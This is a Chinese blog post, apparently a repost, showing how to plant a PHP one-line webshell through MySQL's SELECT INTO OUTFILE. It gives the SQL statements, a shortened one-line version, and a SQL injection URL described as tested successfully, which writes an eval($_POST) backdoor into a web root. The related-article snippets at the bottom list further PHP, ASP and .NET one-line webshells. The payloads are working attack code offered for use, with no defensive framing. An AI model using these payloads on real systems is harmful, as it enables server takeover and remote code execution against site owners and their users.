mysql 导出shell_MySQL导出一句话拿WebShell的方法

我会带着你远行 2022-11-09 06:03 153阅读 0赞

文章中用到的SQL语句大体如下(命令行或者其它能执行SQL命令的shell都行)：

Drop TABLE IF EXISTS temp; //如果存在temp就删掉

Create TABLE temp(cmd text NOT NULL); //建立temp表，里面就一个cmd字段

Insert INTO temp (cmd) VALUES(' php eval($\_POST\[cmd\]);?>'); //把一句话木马插入到temp表

Select cmd from temp into out file 'F:/wwwroot/eval.php'; //查询temp表中的一句话并把结果导入到eval.php

Drop TABLE IF EXISTS temp; //删除temp(擦屁股o(∩\_∩)o...)

这几句SQL很简单，我做了简单的注释。

不过想想我们在测试PHP的SQL漏洞的时候经常用如下的语句：

/\*\*/UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12/\*

然后返回的页面中可能会出现1~12之间的数字。这里加入数字3显示出来了。

如果我们把上面这句改成/\*\*/UNION SELECT 1,2,'zerosoul',4,5,6,7,8,9,10,11,12/\*，则返回页面上次显示3的地方会显示zerosoul。

也就是说如果我们的select语句后面不带from table语句的话，我们说查询的数字或字符会直接返回到查询结果里。

既然这样，我们为何还要那么麻烦去建一个表，先导入数据，再导出这样折腾呢。

有了这个思路，上面那一大段到出一句话的SQL代码可以直接简化到一句:

Select ' php eval($\_POST\[cmd\]);?>' into outfile 'F:/wwwroot/eval.php';

这样做不但简单明了，而且避免了误删别人的数据。

效果图如下：

![39b573c519f73a8892fb5aed9f4a5cba.png][]

补充:加个测试成功的注入URL：

http://www.webshell.cc/news.php?NewsID=-1 union Select '<?php eval($\_POST\[cmd\]);?>',2 into outfile 'D:/wwwroot/eval.php'/\*

转载请注明来自WebShell'S Blog，本文地址：https://www.webshell.cc/2039.html

[39b573c519f73a8892fb5aed9f4a5cba.png]: /images/20221023/eb62c9d658aa42fdaf9d592927ec52f0.png

发表评论取消回复

表情：

评论列表（有 0 条评论，153人围观）

还没有评论，来说两句吧...

相关阅读

相关 php图片一句话木马使用方法

php图片一句话木马使用方法，PHP一句话：<?php @eval($\_POST\[‘shy’\]);?> 1、标准的写法,直接通过eval执行php代码@eval (

青旅半醒/ 2023年09月24日 20:24/ 0 赞/ 152 阅读

相关 PostgreSQL导出建表语句

pg\_dump -h host -U postgres -d dbname -O -s -t “table\_name” > name.sql pg\_dump -h lo

分手后的思念是犯贱/ 2022年12月11日 03:25/ 0 赞/ 272 阅读

相关同事的一句话

今天路上我问：有没有办法一个电脑弄到3个IP,在不开虚拟机的情况下，但是我也不想另外新买一台电脑。讨论到最后。。。听到同事的一句话，一直都记得：

谁践踏了优雅/ 2022年11月10日 14:25/ 0 赞/ 324 阅读

相关 mysql 导出shell_MySQL导出一句话拿WebShell的方法

文章中用到的SQL语句大体如下(命令行或者其它能执行SQL命令的shell都行)： Drop TABLE IF EXISTS temp; //如果存在temp就删掉 Cre

我会带着你远行/ 2022年11月09日 06:03/ 0 赞/ 154 阅读

相关一句话Linux（备查）

来自: SUN中国工程研究院编者按：鉴于目前中国Linux的发展现状，90%以上的问题都可以用一句话来回答，这便是本文的初衷。欢迎大家添加自己的“一句话”，收录后注明原始

清疚/ 2022年09月30日 14:48/ 0 赞/ 624 阅读

相关 mysql导出数据库中建表语句和数据

MySQL命令行导出数据库： 1，进入MySQL目录下的bin文件夹：cd MySQL中到bin文件夹的目录如我输入的命令行：cd C:\Progra

矫情吗；*/ 2022年04月11日 08:13/ 0 赞/ 723 阅读

相关给自己的一句话

I am not in competition with anyOne but myself .My goal is to improve myself continuo

小鱼儿/ 2022年02月26日 11:48/ 0 赞/ 368 阅读

相关一句话

PHP: <?php @eval($_POST['pass']);?> ASP: <%eval request("pass")%> .NET: <%@ Page Lan

我不是女神ヾ/ 2022年01月08日 02:35/ 0 赞/ 403 阅读

相关一句话引发的感想

有一天上机课实验课，网络老师大家做的实验时说两句：每个人都是有差异的，有些人的表现跟我在上理论课看到的不一样。之后他又补了两句，说在他学习的时代，在学校的几乎都是学习好的，学习

╰半橙微兮°/ 2021年09月21日 14:50/ 0 赞/ 396 阅读

相关一单词，一句话

Absolutely!—— 绝对正确! Adorable! —— 可爱极了! Amazing! —— 太神了! Anytime! —— 随时吩咐! Almost

旧城等待，/ 2021年06月26日 16:06/ 0 赞/ 530 阅读